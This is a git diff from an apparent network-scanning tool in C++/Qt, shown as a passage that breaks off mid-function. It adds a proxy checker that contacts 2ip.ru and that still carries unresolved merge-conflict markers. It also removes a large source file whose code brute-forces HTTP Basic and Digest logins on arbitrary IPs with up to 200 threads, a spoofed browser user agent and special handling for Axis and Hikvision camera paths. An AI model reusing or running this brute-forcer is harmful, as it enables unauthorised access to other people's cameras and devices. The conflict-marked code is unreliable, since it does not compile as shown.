strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + +<<<<<<< HEAD + + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + +<<<<<<< HEAD + + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + +<<<<<<< HEAD + + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + proxyEnabledFlag = 1; + + CSSOCKET(pSock); + break; + } + else + { +<<<<<<< HEAD + + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + break; + } + else + { +<<<<<<< HEAD + + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + } + else + { +<<<<<<< HEAD + + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + +======= +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion +>>>>>>> 1f26df077976493c1916f7764c83dc03da1445fa + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/CheckProxy_Th.cpp.BASE.3053.cpp b/CheckProxy_Th.cpp.BASE.3053.cpp new file mode 100644 index 0000000..e69de29 diff --git a/CheckProxy_Th.cpp.LOCAL.3053.cpp b/CheckProxy_Th.cpp.LOCAL.3053.cpp new file mode 100644 index 0000000..c87746d --- /dev/null +++ b/CheckProxy_Th.cpp.LOCAL.3053.cpp @@ -0,0 +1,154 @@ +#include "CheckProxy_Th.h" +#include "externData.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if(pSock == INVALID_SOCKET) + { + + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); + + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { + + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); + + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); + + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + + + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); + + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + + + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); + + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + + + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + + proxyEnabledFlag = 1; + + CSSOCKET(pSock); + break; + } + else + { + + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); + + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + break; + } + else + { + + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); + + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + } + else + { + + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); + + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/CheckProxy_Th.cpp.REMOTE.3053.cpp b/CheckProxy_Th.cpp.REMOTE.3053.cpp new file mode 100644 index 0000000..eb7c8b0 --- /dev/null +++ b/CheckProxy_Th.cpp.REMOTE.3053.cpp @@ -0,0 +1,154 @@ +#include "CheckProxy_Th.h" +#include "externData.h" + +void CheckProxy_Th::doEmitChangeRedIRCData(QString str) +{ + emit chPTh->changeRedIRCData(str); +}; +void CheckProxy_Th::doEmitChangeGreenIRCData(QString str) +{ + emit chPTh->changeGreenIRCData(str); +}; +void CheckProxy_Th::doEmitChangeYellowIRCData(QString str) +{ + emit chPTh->changeYellowIRCData(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str) +{ + emit chPTh->changeRawIRCDataInc(str); +}; +void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str) +{ + emit chPTh->changeRawIRCDataOut(str); +}; + +void CheckProxyLogic() +{ + QString str1 = ui->ircProxyPort->text(); + QString str2 = ui->ircProxy->text(); + strcpy(ircProxy, str2.toUtf8().data()); + strcpy(ircProxyPort, str1.toUtf8().data()); + + int err, yes = 1; + SOCKET pSock; + char precvBuff[2048] = {0}; + sockaddr_in addr; + addr.sin_family = AF_INET; + addr.sin_port = htons(atoi(ircProxyPort)); + + HOSTENT *host; + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy); + else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#else + if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy); + else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; +#endif + pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if(pSock == INVALID_SOCKET) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET."); +#pragma endregion + } + else + { + if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n")); +#pragma endregion + send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0); + + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK") + || strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection") + ) + && (strlen(precvBuff) < 150) + && strstr(precvBuff, "404 File Not Found") == NULL + && + ( + strstr(precvBuff, "Invalid Request") == NULL + || strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL + || strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL + ) + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n")); +#pragma endregion + send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0); + ZeroMemory(precvBuff, sizeof(precvBuff)); + while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff)); +#pragma endregion + if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL + && strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL + && strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL + && strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL + && strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL + && strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL + && strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL + && strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL + && strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL + && strstr(precvBuff, "gateway timeout") == NULL + ) + { + +#pragma region QTGUI_Area + chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 1; + + CSSOCKET(pSock); + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + break; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one."); +#pragma endregion + proxyEnabledFlag = 0; + + CSSOCKET(pSock); + break; + }; + }; + } + else + { +#pragma region QTGUI_Area + chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + "."); +#pragma endregion + proxyEnabledFlag = 0; + }; + }; +}; + +void CheckProxy_Th::run() +{ + CheckProxyLogic(); +}; diff --git a/connector.cpp b/connector.cpp index e33d121..31059bf 100644 --- a/connector.cpp +++ b/connector.cpp @@ -8,7 +8,7 @@ #include "externData.h" #include -#if defined(Q_OS_WIN32) +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #include #include #pragma comment(lib, "iphlpapi.lib") diff --git a/connector.cpp.autosave b/connector.cpp.autosave deleted file mode 100644 index 4d8530e..0000000 --- a/connector.cpp.autosave +++ /dev/null @@ -1,2829 +0,0 @@ -#include "STh.h" -#include -#include -#include -#include "mainResources.h" -#include "externFunctions.h" -#include "externData.h" -#include - -#if defined(Q_OS_WIN32) -#include -#include -#pragma comment(lib, "iphlpapi.lib") -#endif -int gMaxBrutingThreads = 200; -fd_set write_fs; - - -int _countFTPDirectories(char *recvBuff){ - if(strcmp(recvBuff, "dummy\r\n") == 0) return 0; - int dirCounter = 0; - if(recvBuff[strlen(recvBuff) - 1] != '\n') strcat(recvBuff, "\n"); - char *dirPtr = strstr(recvBuff, "\n"); - while(dirPtr != NULL){ - ++dirCounter; - dirPtr = strstr(dirPtr + 1, "\n"); - }; - return dirCounter; -} - -void BConInc() -{ -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -__asm - { - lock inc BrutingThrds; - }; -#else - asm("lock incl BrutingThrds"); -#endif - - stt->doEmitionChangeBA(QString::number(BrutingThrds)); -} - -void BConDec() -{ - if(BrutingThrds > 0) - { -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - __asm - { - lock dec BrutingThrds; - }; -#else - asm("lock decl BrutingThrds"); -#endif - } - - stt->doEmitionChangeBA(QString::number(BrutingThrds)); - -} - -bool debugWriteWait = false; -void _DebugWriteHTMLToFile(char *request, char *buff) -{ - while(debugWriteWait) Sleep(50); - debugWriteWait = true; - FILE *df = fopen("./debugData.txt", "a"); - - if(df != NULL) - { - fputs(request, df); - fputs("==========================\n", df); - fputs(buff, df); - fputs("\n==========================\n==========================\n\n", df); - fclose(df); - } - else - { - stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt"); - }; - debugWriteWait = false; -} -unsigned char tl(unsigned char d) -{ - if(d >= 192 && d <= 223) - { - unsigned char y = d + 32; - return y; - } - else - { - return tolower(d); - }; -}; -int recvWT( - int Socket, - char *Buffer, - int Len, - long Timeout, - int *bTimedOut - ){ - fd_set ReadSet; - int n; - struct timeval Time; - - FD_ZERO(&ReadSet); - FD_SET(Socket,&ReadSet); - Time.tv_sec = Timeout; - Time.tv_usec = 0; - *bTimedOut = false; - n = select(Socket+1,&ReadSet,NULL,NULL,&Time); - if (n > 0) { /* got some data */ - return recv(Socket,Buffer,Len,0); - } - if (n == 0) { /* timeout */ - *bTimedOut = true; - } - return(n) ; /* trouble */ -} -std::string toLowerStr(const char *str) -{ - int tsz = strlen(str); - if(tsz == 1) - { - if(str[0] == 10) return "[No data!]"; - else return str; - } - else if(tsz > 1) - { - char * strr = new char[tsz+1]; - ZeroMemory(strr, tsz); - - for (int i = 0; i < tsz; i++) - { - strr[i] = tl(str[i]); - }; - - memset(strr + tsz, '\0', 1); - - std::string tstr = strr; - delete []strr; - return tstr; - }; - return ""; -}; -int OpenConnection(SOCKET *sock, const char *hostname, int port) -{ - struct hostent *host; - struct sockaddr_in addr; - if(strlen(hostname) == 0) - { - return -1; - }; - if(port < 0 || port > 65535) - { - return -1; - }; - - if ( (host = gethostbyname(hostname)) == NULL ) - { - ++offlines; - if(gNegDebugMode) stt->doEmitionDebugFoundData("[" + QString(hostname) + ":" + QString::number(port) + "" + "] Rejecting in _connection: Bad IP."); - return -1; - }; - *sock = socket(PF_INET, SOCK_STREAM, 0); - ZeroMemory(&addr, sizeof(addr)); - addr.sin_family = AF_INET; - addr.sin_port = htons(port); - addr.sin_addr.s_addr = *(long*)(host->h_addr); - if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR ) - { - ++offlines; - CSSOCKET(*sock); - return -1; - }; - return 0; -} - -void _baSSLWorker(char *ip, char *request, char *rvBuff) -{ - const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */ - SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */ - - if(ctx != NULL) - { - SOCKET sock; - SSL_CTX_set_timeout(ctx, gTimeOut); - int result = OpenConnection(&sock, ip, 443); - if(result >= 0) - { - SSL *ssl = NULL; - ssl = SSL_new(ctx); /* create new SSL connection state */ - if(ssl != NULL) - { - SSL_set_fd(ssl, sock); /* attach the socket descriptor */ - if(SSL_connect(ssl)) - { - SSL_write(ssl, request, strlen(request)); - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); - - char tempBuff[128] = {0}; - int x = 1; - int xx = 0; - - ZeroMemory(rvBuff, sizeof(rvBuff)); - while(xx < 512) - { - x = SSL_read(ssl, tempBuff, sizeof(tempBuff)); - if(x <= 0) break; - Activity += x; - xx += x; - strncat(rvBuff, tempBuff, x); - ZeroMemory(tempBuff, sizeof(tempBuff)); - }; - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff)); - if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff); - }; - SSL_shutdown(ssl); - SSL_free(ssl); - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - return; - }; - }; - CSSOCKET(sock); - SSL_CTX_free(ctx); /* release context */ - } - else - { - char buff1[512] = {0}; - char buff2[512] = {0}; - - ERR_error_string(ERR_peek_error(), buff1); - ERR_error_string(ERR_peek_last_error(), buff2); - stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); - }; -}; -char *_getAttributeValue(char *str, char *val, char *ip, int port) -{ - char res[1024] = {0}; - char *ptrStart = NULL; - char *ptrS1End = NULL; - char *ptrS2End = NULL; - - ptrStart = strstri(str, val); - if(ptrStart != NULL) - { - if(strstri(ptrStart, "qop=auth") != NULL) return "auth"; - ptrS1End = _findFirst(ptrStart, "\""); - if(ptrS1End != NULL) - { - ptrS2End = _findFirst(ptrS1End + 1, "\""); - if(ptrS2End != NULL) - { - int sz = ptrS2End - ptrS1End - 1; - - if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz); - else return ""; - - return res; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; - } - else - { - stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:" + QString(ip) + ":" + QString::number(port) + ""); - return ""; - }; -}; - -#define HASHLEN 16 -typedef char HASH[HASHLEN]; -#define HASHHEXLEN 32 -typedef char HASHHEX[HASHHEXLEN+1]; -#define IN -#define OUT -void CvtHex( - IN HASH Bin, - OUT HASHHEX Hex - ) -{ - unsigned short i; - unsigned char j; - - for (i = 0; i < HASHLEN; i++) { - j = (Bin[i] >> 4) & 0xf; - if (j <= 9) - Hex[i*2] = (j + '0'); - else - Hex[i*2] = (j + 'a' - 10); - j = Bin[i] & 0xf; - if (j <= 9) - Hex[i*2+1] = (j + '0'); - else - Hex[i*2+1] = (j + 'a' - 10); - }; - Hex[HASHHEXLEN] = '\0'; -}; -char *_makeDigestResponse( - char *login, - char *realm, - char *pass, - char *path, - char *nonce, - char *pszNonceCount, - char *pszCNonce, - char *pszQop - ) -{ - char HA1[MD5_DIGEST_LENGTH]; - char HA2[MD5_DIGEST_LENGTH]; - char HA1Data[512] = {0}; - char HA2Data[512] = {0}; - - strcpy(HA1Data, login); - strcat(HA1Data, ":"); - strcat(HA1Data, realm); - strcat(HA1Data, ":"); - strcat(HA1Data, pass); - - strcpy(HA2Data, "GET:"); - strcat(HA2Data, path); - - MD5((unsigned char*) HA1Data, strlen(HA1Data), (unsigned char*)HA1); - MD5((unsigned char*) HA2Data, strlen(HA2Data), (unsigned char*)HA2); - - char responseData[512] = {0}; - char *HA1MD5 = new char[64]; - char *HA2MD5 = new char[64]; - ZeroMemory(HA1MD5, 64); - ZeroMemory(HA2MD5, 64); - - CvtHex(HA1, HA1MD5); - strcpy(responseData, HA1MD5); - strcat(responseData, ":"); - strcat(responseData, nonce); - strcat(responseData, ":"); - if (*pszQop != NULL) { - strcat(responseData, pszNonceCount); - strcat(responseData, ":"); - strcat(responseData, pszCNonce); - strcat(responseData, ":"); - strcat(responseData, pszQop); - strcat(responseData, ":"); - }; - CvtHex(HA2, HA2MD5); - strcat(responseData, HA2MD5); - delete []HA1MD5; - delete []HA2MD5; - - char response[MD5_DIGEST_LENGTH]; - MD5((unsigned char*) responseData, strlen(responseData), (unsigned char*)response); - char responseMD5[64] = {0}; - CvtHex(response, responseMD5); - return (char*)responseMD5; -}; - -lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) -{ - if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: " + QString(ip) + ":" + QString::number(port) + + ""); - lopaStr lps; - ZeroMemory(lps.login, sizeof(lps.login)); - ZeroMemory(lps.pass, sizeof(lps.pass)); - ZeroMemory(lps.other, sizeof(lps.other)); - - int cookieLen = strlen(cookie); - char path[512] = {0}; - strncpy(path, pathT, 512); - - int bTO; - bool goon = false; - char hRqst[REQUEST_MAX_SIZE] = {0}; - char headerMsg[REQUEST_MAX_SIZE] = {0}; - char hMsgR[512] = {0}; - - strcpy(hRqst, "GET "); - strcat(hRqst, path); - strcat(hRqst, " HTTP/1.1\r\nHost: "); - strcat(hRqst, ip); - - if(port != 80){ - strcat(hRqst, ":"); - char tbuff[16] = {0}; - sprintf(tbuff, "%d", port); - strcat(hRqst, tbuff); - }; - - if(cookieLen != 0) - { - strcat(hRqst, "\r\nCookie: "); - strcat(hRqst, cookie); - }; - strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); - - sockaddr_in sockAddr; - if(port == 443) - { - ZeroMemory(headerMsg, REQUEST_MAX_SIZE); - _baSSLWorker(ip, hRqst, headerMsg); - } - - else - { - SOCKET sock; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(port); - HOSTENT *host; -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#else - if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); - else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; - else - { - isActive = 0; - strcpy(lps.login, "UNKNOWN"); - return lps; - }; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - if(sock != INVALID_SOCKET) { - - if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) { - - if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) { - - if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(hRqst)); - ZeroMemory(headerMsg, REQUEST_MAX_SIZE); - int x = 1; - int xx = 0; - - while(xx < 512) - { - x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); - if(x <= 0) break; - strncat(headerMsg, hMsgR, x); - xx += x; - ZeroMemory(hMsgR, sizeof(hMsgR)); - }; - - if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError())); - }; - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError())); - }; - } else { - if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError())); - }; - CSSOCKET(sock); - }; - - - - if(strlen(headerMsg) == 0) - { - isActive = 0; - - strcpy(lps.login, "UNKNOWN"); - return lps; - }; - - if(strstr(headerMsg, "401 ") == NULL - && strstr(headerMsg, ".1 401") == NULL - && strstr(headerMsg, ".0 401") == NULL - && strstr(headerMsg, "401") == NULL - && strstr(headerMsg, "Unauthorized") == NULL - ) - { - if(strstri(headerMsg, "400 Bad") != NULL) - { - strcpy(lps.other, "[400 Bad Request]"); - isActive = 0; - return lps; - } - else if(strstri(headerMsg, "404 Not") != NULL - || strstr(headerMsg, "404 ") != NULL - || strstr(headerMsg, ".1 404") != NULL - || strstr(headerMsg, ".0 404") != NULL - ) - { - if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) - { - int sz = strlen("/view/viewer_index.shtml"); - strncpy(path, "/view/viewer_index.shtml", sz); - memset(path + sz, 0, 1); - goon = true; - } - else - { - strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); - isActive = 0; - return lps; - }; - } - else if( // - (strstr(headerMsg, ".1 403") != NULL // - || strstr(headerMsg, ".0 403") != NULL //Hikkvision2 - ) // - && strstr(headerMsg, "badAuthorization") != NULL // - ) - { - goon = true; - } - else if(strlen(headerMsg) < 16) - { - goon = true; - 